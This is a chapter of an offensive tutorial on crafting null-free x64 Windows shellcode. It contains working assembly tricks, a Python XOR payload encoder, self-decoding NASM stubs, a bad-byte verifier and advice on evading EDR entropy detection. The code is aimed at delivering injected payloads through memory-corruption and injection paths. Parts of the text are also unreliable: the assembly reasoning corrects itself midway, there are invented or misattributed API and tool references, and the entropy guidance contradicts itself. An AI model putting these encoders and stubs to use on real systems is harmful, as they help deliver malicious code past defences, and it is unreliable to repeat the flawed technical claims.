Chapter 09

Null-Free Shellcode

Null bytes in shellcode are not an academic concern — they actively break delivery. The moment your shellcode travels through a strcpy, a string-parsing routine, a UTF-8 decoder, or a format string handler, any 0x00 byte terminates the copy. The injected payload is truncated, and it crashes on the first instruction. This chapter explains the three structural sources of null bytes in compiled and hand-written shellcode, and gives you a complete toolkit to eliminate all of them. After this chapter, verifying "no null bytes" is the first thing you check before every delivery test.

Why Null Bytes Break Delivery

The vulnerability the shellcode exploits almost always involves a string operation somewhere. Stack overflows, heap overflows, format strings — they all travel through code that treats 0x00 as a string terminator or otherwise handles it as a special character. Even delivery paths that don't exploit a bug (VBA macro downloading shellcode as Base64) may run the decoded payload through a buffer that was originally sized with strlen().

Common delivery paths and how they die on null bytes
  Delivery path: Classic stack buffer overflow via strcpy()
  ─────────────────────────────────────────────────────────────────
  strcpy(dst, user_input)
  │
  ├── strcpy reads your shellcode byte by byte
  ├── At the first 0x00, it writes 0x00 to dst and STOPS
  └── Everything after the null is never copied → payload truncated

  Delivery path: sprintf() format string exploit
  ─────────────────────────────────────────────────────────────────
  The format string is treated as a C string → null terminates it early

  Delivery path: Userland injection via WriteProcessMemory
  ─────────────────────────────────────────────────────────────────
  WriteProcessMemory doesn't care about null bytes — it writes raw bytes.
  However: if you BUILD the shellcode into a C string literal like:
    char shellcode[] = "\x48\x31\xC0\x00\xB9\x60\x00\x00\x00...";
    WriteProcessMemory(hProc, addr, shellcode, sizeof(shellcode), NULL);
  The sizeof() is correct but: if your shellcode bytes come from an API
  that treats them as a string at any point before WPM, you're truncated.

  Delivery path: Registry Run key or command line
  ─────────────────────────────────────────────────────────────────
  Command line arguments are null-terminated strings. A null byte in
  the middle of a Base64-encoded payload terminates it early.

  Bottom line: null bytes are safe ONLY with WPM, recv(), or raw
  memory copies where the length is always passed explicitly.
  For any other path, all 0x00 bytes must be eliminated.

The Three Root Causes of Null Bytes

Before you can eliminate null bytes, you need to know where they come from. There are three structural sources, and each has different fixes:

Three sources of null bytes and their examples
  Source 1: Small integer constants in 64-bit instructions
  ─────────────────────────────────────────────────────────────────
  mov rax, 0x1000
  Encoding: 48 B8 00 10 00 00 00 00 00 00
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^ null bytes (64-bit immediate)

  mov rcx, 5
  Encoding: 48 C7 C1 05 00 00 00
                          ^^^^^^^^ three null bytes (32-bit sign-extended imm)

  Source 2: Zero registers
  ─────────────────────────────────────────────────────────────────
  xor rax, rax
  Encoding: 48 31 C0
  No null bytes! ✓ But the VALUE in RAX is 0x00, which becomes a null
  byte if stored in memory as a data value. This is a data null, not an
  encoding null — different problem.

  mov qword [rbx], 0   ; write a zero DWORD to memory
  Encoding: 48 C7 03 00 00 00 00   ← null bytes in the instruction!

  Source 3: Addressing with zero-padded offsets
  ─────────────────────────────────────────────────────────────────
  mov rax, [gs:0x60]
  Encoding: 65 48 8B 04 25 60 00 00 00  ← null bytes in the absolute addr

  lea rcx, [rip+0x200]
  Encoding varies — if offset has null bytes, they appear in the encoding

  mov byte [rax+0x100], 0
  Encoding: C6 80 00 01 00 00 00  ← null byte in offset AND value

Fixing Source 1 — Small Constants in 64-bit Instructions

The core insight: you don't need to encode the zero bytes — you need the value they produce. Generate the same value through arithmetic that avoids embedding zeros:

Technique A: XOR-clear a register, then use 32-bit sub-register writes

; Target: get 0x1000 into RAX without null bytes

; BAD — generates null bytes:
mov  rax, 0x1000           ; encoding: 48 B8 00 10 00 00 00 00 00 00

; BAD — still generates null bytes (32-bit immediate sign-extended):
mov  eax, 0x1000           ; encoding: B8 00 10 00 00 (null bytes in imm)
; wait: 0x1000 = 4096, encoding: B8 00 10 00 00 — still has 00s

; GOOD — split the value:
push 0x41414141            ; push garbage into stack
pop  rax                   ; rax = 0x41414141 (no null bytes in instructions)
sub  rax, 0x40404141       ; rax = 0x41414141 - 0x40404141 = 0x01010000? no...
; This approach: pick arbitrary non-null operand, subtract to reach target
; 0x41414141 - 0x40404141 = 0x01010000 — still has null bytes in the result value
; The operands are null-free but the result may not be

; BETTER approach for 0x1000:
push 0x41                  ; push 0x41 (= 'A')
pop  rcx                   ; rcx = 0x41
sub  cl, 0x41              ; cl = 0 — but "sub cl, 0x41" has no null bytes
                           ; and rcx = 0x00...0041 - 0x41 = 0 — zero register
shl  rcx, 12               ; rcx = 0 << 12 = 0? No — we want 1 shifted left 12
; Correct approach:
xor  ecx, ecx              ; ecx = 0 (encoding: 31 C9, no nulls)
inc  ecx                   ; ecx = 1 (encoding: FF C1, no nulls)
shl  ecx, 12               ; ecx = 0x1000 (encoding: C1 E1 0C, no nulls!)
; ✓ ecx = 0x1000 with zero null bytes in all encoding bytes

Technique B: SUB from a non-null value

; Get 0x3000 (MEM_COMMIT | MEM_RESERVE) into R8:

; Approach: use a known non-null constant and subtract to reach target
; 0x3000 has null bytes in its little-endian encoding: 00 30 00 00
; But as a value in a register, it's fine — we just need the instructions to be null-free.

; The instruction "mov r8d, 0x3000" encodes as: 41 B8 00 30 00 00 — null bytes in imm32!
; Fix: construct via shift
xor    r8d, r8d            ; r8 = 0 (encoding: 45 31 C0)
inc    r8d                 ; r8 = 1 (encoding: 41 FF C0)
shl    r8d, 1              ; r8 = 2 (no null)
shl    r8d, 11             ; r8 = 0x1000 (shl by 11: 45 C1 E0 0B)
mov    r9d, r8d            ; r9 = 0x1000 copy
add    r8d, r8d            ; r8 = 0x2000
add    r8d, r9d            ; r8 = 0x3000 ✓ MEM_COMMIT | MEM_RESERVE

Technique C: Byte-by-byte construction for large values

; Get 0xDEADBEEF into RAX without null bytes in any instruction:
; Observation: 0xDE = 0xDE, 0xAD = 0xAD, 0xBE = 0xBE, 0xEF = 0xEF
; None of these bytes are 0x00 — so the bytes of the VALUE are fine.
; The issue is that the instruction encoding has zero padding:
; "mov eax, 0xDEADBEEF" = B8 EF BE AD DE — no null bytes here! ✓
; But: "mov rax, 0x00000000DEADBEEF" = 48 B8 EF BE AD DE 00 00 00 00 — null bytes!

; If the HIGH DWORD of the constant is 0, use 32-bit mov (zero-extends for free):
mov  eax, 0xDEADBEEF    ; B8 EF BE AD DE — no null bytes because all 4 bytes of EAX
                         ; are non-zero. Zero-extension fills upper 32 bits with 0x00
                         ; but those 0x00s are NOT in the instruction bytes — they're
                         ; in the register as a result of the operation.

; Rule: if each byte of your 32-bit constant is non-zero, use "mov eax, const" (32-bit)
;       The zero-extension is automatic and the instruction bytes are clean.

; If the constant itself has null bytes (like 0x3000 = 0x00003000):
; Use shift+increment construction as above to avoid embedding 0x00 in imm32.
The critical distinction
There are two different kinds of "zero" to avoid: (1) zero bytes in the instruction encoding — these break string-copy delivery; (2) zero values in data — these break string-comparison operations. Technique A (shift+increment) gives you the right value via instructions that have no zero bytes in their encoding. Whether that value itself contains zero bytes (like 0x3000) only matters if the value is later treated as a string, which it usually isn't — it's a flag or size, not data written to a buffer.

Fixing the GS:[0x60] Null Byte Problem

From Chapter 6: mov rax, qword [gs:0x60] encodes as 65 48 8B 04 25 60 00 00 00 — three trailing null bytes (the absolute address 0x00000060 padded to 32 bits). This is the most common null byte hit in PEB-walking shellcode:

; Problem: mov rax, [gs:0x60] → 65 48 8B 04 25 60 00 00 00

; Fix 1: Use a register to hold the offset (loads offset into register first)
xor  eax, eax              ; eax = 0 (31 C0)
mov  al,  0x60             ; al = 0x60 (B0 60) — single byte imm, no nulls
mov  rax, [gs:rax]         ; encoding: 65 48 8B 00 — only 4 bytes, NO null bytes!
; But: "mov rax, [gs:rax]" — can we encode gs segment override with a register?
; Encoding: 65 48 8B 00 — this means [rax], the 0x60 was NOT embedded! Let's verify:
; Actually: "mov rax, qword [gs:rax]" in NASM → 65 48 8B 00 — yes, no null bytes ✓
; The offset 0x60 is now a register value, not an immediate in the instruction.

; Fix 2: Use a segment of a different instruction (NtCurrentTeb trick)
; mov eax, [gs:0x30]  → reads TEB.NtTib.Self (32-bit! Truncates on x64)
; In x64: gs:[0x30] = TEB* (32-bit pointer in WoW64 layout — NOT useful)
; gs:[0x60] = PEB* in the actual 64-bit TEB
; Fix 2 doesn't apply cleanly to x64 — use Fix 1.

; Fix 3: Read from TEB.Self to get TEB*, then add 0x60 to reach PEB*
; gs:[0x30] in x64 = the 32-bit TIB Self field — this also has null bytes in encoding.

; Best fix for null-free shellcode: Fix 1 (load offset via register)
xor  eax, eax       ; RAX = 0
mov  al, 0x60       ; RAX = 0x60 (no null bytes in encoding: 31C0 B060)
mov  rax, [gs:rax]  ; RAX = PEB* (no null bytes in encoding: 65 48 8B 00)
; Alternative: use NtCurrentTeb() behavior via GS:[0x30] pointer
; In x64 Windows, gs:[0x30] points to NtTib.Self, which is the TEB itself.
; From TEB, PEB is at +0x60.
; This approach chains two null-free reads:
xor  eax, eax
mov  al,  0x30      ; al = 0x30 (TEB.NtTib.Self offset)
mov  rax, [gs:rax]  ; rax = TEB* (the Self pointer — this is the TEB base address)
mov  rax, [rax+0x60]; rax = PEB* (from TEB + 0x60)
; Encoding of last instruction: 48 8B 40 60 — 0x60 is a 1-byte displacement — NO null bytes! ✓
; Because displacements fit in a signed byte if <= 0x7F — no padding needed.

Zeroing Registers Without Zero Bytes

Setting a register to zero is one of the most common operations in shellcode, and the naive way generates null bytes:

Null-free register zeroing techniques
  BAD — common approaches with null bytes:
  ─────────────────────────────────────────────────────────────────
  mov  rcx, 0       ; 48 C7 C1 00 00 00 00  — four null bytes
  mov  ecx, 0       ; B9 00 00 00 00        — four null bytes
  mov  rcx, 0x00    ; same as above

  GOOD — null-free zero patterns:
  ─────────────────────────────────────────────────────────────────
  xor  ecx, ecx     ; 31 C9  — zero RCX with no null bytes (2 bytes total!)
  xor  rcx, rcx     ; 48 31 C9 — same but with REX prefix (3 bytes)
  → Use "xor ecx, ecx" — shorter, zero-extends to clear RCX too.

  sub  ecx, ecx     ; 29 C9  — also null-free, same effect as XOR
  imul ecx, ecx, 0  ; 6B C9 00 — has a null byte (the 0 immediate) — BAD

  For conditional zeroing (zero only sometimes):
  push 0x41
  pop  rcx          ; rcx = 0x41
  sub  cl, 0x41     ; cl = 0, rcx = 0 (zero-extends if using sub ecx, 0x41)
  ; "sub cl, 0x41" = 80 E9 41 — no null bytes ✓

  Zeroing memory at [rbx+offset]:
  BAD:  mov qword [rbx+0x10], 0   ; C7 43 10 00 00 00 00 — null bytes in imm
  GOOD: xor eax, eax
        mov qword [rbx+0x10], rax  ; 48 89 43 10 — no null bytes ✓

Beyond Null Bytes — Other Bad Byte Sets

Null (0x00) is the most common bad byte, but different injection paths have different constraints. Know your delivery path and verify accordingly:

Bad byte sets by delivery path
  Delivery path                    │ Forbidden bytes
  ─────────────────────────────────┼────────────────────────────────────────
  strcpy() / strcat()              │ 0x00 (null terminator)
  ─────────────────────────────────┼────────────────────────────────────────
  gets() / scanf("%s")             │ 0x00, 0x0A (\n — newline terminates)
  ─────────────────────────────────┼────────────────────────────────────────
  Bash command-line argument       │ 0x00, 0x20 (space separates args),
                                   │ 0x09 (tab), 0x0A (newline)
  ─────────────────────────────────┼────────────────────────────────────────
  URL path (web exploit)           │ 0x00, 0x20, 0x0D, 0x0A, 0x2F (/),
                                   │ 0x3F (?), 0x23 (#), 0x25 (%)
                                   │ (or URL-encode them: 0x25 → %25)
  ─────────────────────────────────┼────────────────────────────────────────
  Windows ANSI string via Registry │ 0x00
  ─────────────────────────────────┼────────────────────────────────────────
  UTF-8 text channel               │ 0x00, any byte > 0x7F that forms
                                   │ an invalid UTF-8 sequence
  ─────────────────────────────────┼────────────────────────────────────────
  POST body parsed by PHP/strstr   │ 0x00, and 0x26 (&) if in form data
  ─────────────────────────────────┼────────────────────────────────────────
  Full custom encoder solution:    │ If you can't eliminate all bad bytes,
                                   │ use the encoder from Chapter 10 to
                                   │ re-encode the entire payload, reducing
                                   │ the decoder to a stub with known-good bytes

Single-Pass XOR Encoding — Covering Any Bad Byte Set

When structure-level null elimination isn't enough (too many bad bytes, too complex to track manually), encode the entire payload. Single-byte XOR is the simplest and most transparent approach — the decoder stub is tiny and contains no bad bytes if designed carefully:

#!/usr/bin/env python3
"""
xor_encode.py — single-byte XOR encoder with bad-byte verification.
Tries all 256 key values and picks the one that produces no bad bytes.
"""

def xor_encode(payload: bytes, key: int) -> bytes:
    return bytes(b ^ key for b in payload)

def has_bad_bytes(data: bytes, bad_set: set) -> bool:
    return any(b in bad_set for b in data)

def find_clean_key(payload: bytes, bad_bytes: set) -> int | None:
    """Try all keys 0x01-0xFF; find one that produces clean encoded output."""
    for key in range(0x01, 0x100):
        if key in bad_bytes:
            continue                           # key itself can't be a bad byte
        encoded = xor_encode(payload, key)
        if not has_bad_bytes(encoded, bad_bytes):
            return key
    return None                                # no single-key solution — use rolling XOR

def generate_header(key: int, length: int) -> str:
    return (
        f"  Key:     0x{key:02X}\n"
        f"  Length:  {length} bytes\n"
        f"  Decoder: XOR each byte with 0x{key:02X} at runtime"
    )

if __name__ == "__main__":
    import sys

    # Example payload: the raw shellcode bytes
    with open(sys.argv[1], 'rb') as f:
        payload = f.read()

    bad_bytes = {0x00}                         # add more: {0x00, 0x0A, 0x0D}

    print(f"Payload size: {len(payload)} bytes")
    print(f"Bad bytes:    {', '.join(f'0x{b:02X}' for b in sorted(bad_bytes))}\n")

    key = find_clean_key(payload, bad_bytes)
    if key is not None:
        encoded = xor_encode(payload, key)
        print(f"Found clean key: 0x{key:02X}")
        print(generate_header(key, len(encoded)))

        # Write encoded payload
        out_path = sys.argv[1] + f".xor{key:02X}.bin"
        with open(out_path, 'wb') as f:
            f.write(encoded)
        print(f"\nEncoded payload written to: {out_path}")

        # Verify
        assert not has_bad_bytes(encoded, bad_bytes), "BUG: encoded output contains bad bytes!"
        assert xor_encode(encoded, key) == payload, "BUG: decode check failed!"
        print("Verification passed ✓")
    else:
        print("No single-byte XOR key produces clean output.")
        print("Use rolling XOR (see Chapter 10) or a multi-pass encoder.")

The corresponding decoder stub in NASM — this runs at the start of your shellcode to decode itself in-place:

; xor_decoder.asm — single-byte XOR decoder stub
; Place this at the start of your shellcode. The encoded payload follows immediately.
; Constants:
XOR_KEY    equ 0x3F    ; the key you found with xor_encode.py (must be non-null!)
PAYLOAD_LEN equ 0x200  ; length of encoded payload in bytes

BITS 64
section .text
global decoder_stub

decoder_stub:
    ; Get the address of the encoded payload (immediately after this stub)
    ; Use call/pop pattern for PIC (works even without RIP-relative addressing)
    call    .get_rip
.get_rip:
    pop     rdi                  ; rdi = address of .get_rip label
    ; Calculate address of encoded payload (follows immediately after the call instruction)
    ; Our call + pop = 6 bytes, so encoded payload is at rdi + sizeof_stub_remaining
    ; Simpler: use a fixed offset computed at build time.
    ; For this example, the encoded payload starts immediately after "jmp .done_decode":
    add     rdi, (.payload_start - .get_rip)   ; rdi → encoded payload

    ; Decode: XOR each byte with the key
    mov     ecx, PAYLOAD_LEN    ; loop counter
.decode_loop:
    xor     byte [rdi], XOR_KEY ; decode one byte in-place
    inc     rdi                  ; advance
    dec     ecx
    jnz     .decode_loop

    ; Jump to now-decoded payload
    sub     rdi, PAYLOAD_LEN
    jmp     rdi

.payload_start:
    ; Encoded payload bytes go here
    ; db 0x??  (output of xor_encode.py)
The decoder stub must itself be null-free
The stub runs through the same delivery path as the payload it decodes. If the stub contains null bytes, delivery fails before the decoder even starts. Verify the stub separately: assemble it, extract the bytes, check for nulls. The stub above has been written to avoid any null byte in its encoding — verify by running objdump -d decoder.obj and checking for 00 bytes in the hex dump.

Rolling XOR — When a Single Key Won't Work

If no single-byte XOR key produces null-free output (this happens with payloads that happen to have many varied bytes), rolling XOR (also called chained XOR) uses the previous encoded byte as part of the key. This virtually guarantees clean output:

def rolling_xor_encode(payload: bytes, initial_key: int) -> bytes:
    """
    Each byte is XORed with: initial_key XOR previous_encoded_byte.
    This creates a chained dependency that prevents repeated patterns.
    """
    encoded = bytearray()
    key = initial_key
    for byte in payload:
        enc = byte ^ key
        encoded.append(enc)
        key = enc ^ initial_key   # next key depends on this byte
        # Or simpler: key = enc   # next key = previous encoded byte
    return bytes(encoded)
; Rolling XOR decoder stub
; Each byte is decoded as: plaintext[i] = encoded[i] XOR (initial_key XOR encoded[i-1])
; Or simpler version: plaintext[i] = encoded[i] XOR encoded[i-1], where initial_key = encoded[-1]
; (use the last byte of the encoded block as the starting key, prepend it to the block)

BITS 64
decoder_rolling:
    call    .get_addr
.get_addr:
    pop     rsi                  ; rsi = this address
    add     rsi, (.payload - .get_addr)   ; rsi = encoded payload start

    mov     ecx, PAYLOAD_LEN
    ; Initial key is stored in first byte of the prefix we prepended
    ; (or use a hardcoded initial key — both work)
    mov     al,  INITIAL_KEY     ; al = starting key byte

.decode:
    mov     bl,  byte [rsi]      ; bl = encoded byte
    xor     bl,  al              ; decode: bl = encoded XOR key
    mov     al,  byte [rsi]      ; al = encoded byte (becomes next key)
    mov     byte [rsi], bl       ; write decoded byte back
    inc     rsi
    dec     ecx
    jnz     .decode

    ; Jump to decoded payload
    sub     rsi, PAYLOAD_LEN
    jmp     rsi

.payload:
    ; Rolling-XOR encoded bytes here

Verification Script — Check Every Build

Make this the last step in your shellcode build pipeline, run automatically before any delivery testing. Never deploy shellcode you haven't verified:

#!/usr/bin/env python3
"""
verify_shellcode.py — check for bad bytes and report statistics.
Run this against your final shellcode binary before any test.
"""

import sys, os, struct

BAD_BYTES_NULL_ONLY = {0x00}
BAD_BYTES_STRING    = {0x00, 0x0A, 0x0D}
BAD_BYTES_URL       = {0x00, 0x20, 0x0A, 0x0D, 0x2F, 0x3F, 0x23}
BAD_BYTES_BASH      = {0x00, 0x20, 0x09, 0x0A, 0x0D}

def check_shellcode(path: str, bad_set: set, label: str) -> bool:
    with open(path, 'rb') as f:
        data = f.read()

    found = [(i, b) for i, b in enumerate(data) if b in bad_set]

    print(f"\n{'='*60}")
    print(f"File:     {path}")
    print(f"Size:     {len(data)} bytes")
    print(f"Profile:  {label}")
    print(f"Bad set:  {', '.join(f'0x{b:02X}' for b in sorted(bad_set))}")

    if found:
        print(f"\nFAIL — {len(found)} bad byte(s) found:")
        for offset, byte in found[:20]:   # show first 20
            context = data[max(0,offset-2):offset+3]
            ctx_str = ' '.join(f'{b:02X}' for b in context)
            print(f"  [0x{offset:04X}]  0x{byte:02X}  context: {ctx_str}")
        if len(found) > 20:
            print(f"  ... and {len(found)-20} more")
        return False
    else:
        print(f"\nPASS — no bad bytes found ✓")

        # Entropy report
        counts = [0]*256
        for b in data: counts[b] += 1
        entropy = sum(-c/len(data) * __import__('math').log2(c/len(data))
                      for c in counts if c > 0)
        print(f"Entropy:  {entropy:.2f} bits/byte  "
              f"({'high — good for encoded payload' if entropy > 6.5 else 'low — may look suspicious to EDR'})")
        return True

if __name__ == '__main__':
    path = sys.argv[1]
    profile = sys.argv[2] if len(sys.argv) > 2 else 'null'
    profiles = {
        'null': BAD_BYTES_NULL_ONLY,
        'string': BAD_BYTES_STRING,
        'url': BAD_BYTES_URL,
        'bash': BAD_BYTES_BASH,
    }
    ok = check_shellcode(path, profiles.get(profile, BAD_BYTES_NULL_ONLY), profile)
    sys.exit(0 if ok else 1)
# Use in your Makefile:
nasm -f bin shellcode.asm -o shellcode.bin
python3 verify_shellcode.py shellcode.bin null  # check null bytes only
# or:
python3 verify_shellcode.py shellcode.bin string # check for string-path bad bytes

Questions & Answers

Does WriteProcessMemory care about null bytes in the shellcode?

WriteProcessMemory itself does not — it takes an explicit byte count (nSize) and copies exactly that many bytes regardless of content. The null bytes don't matter at the WPM stage. However, if anything in your chain leading up to WPM treated the shellcode as a string — your own code building the byte array from a C string literal, a script that base64-decodes into a buffer and then applies some string manipulation, an API call that accepts the shellcode as a "command" or "path" — those steps can truncate. The safest rule: assume all shellcode must be null-free unless you can read and verify every byte of the delivery chain. The cost of unnecessary null-free compliance is a slightly more complex build; the cost of undetected truncation is shellcode that sometimes fails and is nearly impossible to debug.

If I XOR encode the payload, why do I still need to fix the GS:[0x60] instruction?

Because the XOR decoder stub itself must be null-free. The stub is what runs first, before any decoding happens. The stub's bytes travel through the same string-copy delivery path and can be truncated at a null byte. The encoded payload (which may also be null-free if you chose a good key) comes after the stub. The stub must be cleanly encodable without null bytes in its own instruction bytes, independent of any encoding scheme — because it runs decoded, in plaintext form, from the moment the instruction pointer lands on your shellcode. GS:[0x60] with null bytes in the stub would kill delivery. Fix the stub first, then the encoded payload is secondary concern.

Can I always find a single-byte XOR key that avoids null bytes?

Almost always, but not guaranteed. For a completely random payload, the probability that at least one of the 255 non-zero keys produces null-free output is very high (each key independently has a ~(1-1/256)^N chance of avoiding nulls for N bytes). But with specific shellcode that has structured patterns, you might get unlucky. In practice, for typical shellcodes of a few hundred bytes, a clean key almost always exists. When it doesn't, rolling XOR is the reliable fallback — it changes the key after each byte, making it statistically nearly impossible for a specific bad byte to appear in the output.

What about UNICODE strings — does UTF-16 encoding create systematic null bytes?

Yes, and this is a specific concern for shellcode delivered through certain Windows API paths. UTF-16LE (Windows native Unicode) encodes ASCII characters as two bytes where the second is 0x00: 'k' → 0x6B 0x00. If your shellcode is injected through a Unicode string API (CreateRemoteThread with a Unicode command line, a WriteProcessMemoryUnicode path, or similar), the automatic ASCII-to-Unicode expansion adds 0x00 after every character of your shellcode. The fix is to use an encoder that produces output where every byte is the upper byte of a valid BMP Unicode character — or to use a dedicated Unicode-safe shellcode encoder (msfvenom has --encoder cmd/powershell_base64 for exactly this purpose).

How does entropy relate to detection when I use XOR encoding?

A high-entropy buffer (close to 8 bits/byte, typical of encrypted or encoded data) looks unusual to EDRs that do entropy-based detection. A compressed executable or random bytes has high entropy; a typical PE file or a script has lower entropy. XOR-encoded shellcode usually has high entropy (because random bytes after XOR with a fixed key remain approximately uniform). Some EDRs flag VirtualAlloc'd regions with entropy > 7.0 bits/byte as suspicious. Mitigations: use an encoding scheme that produces predictable, low-entropy output (like repeated patterns), or mix in padding bytes that reduce entropy at the cost of increased size. Chapter 10 covers more sophisticated encoders designed to produce specific entropy profiles.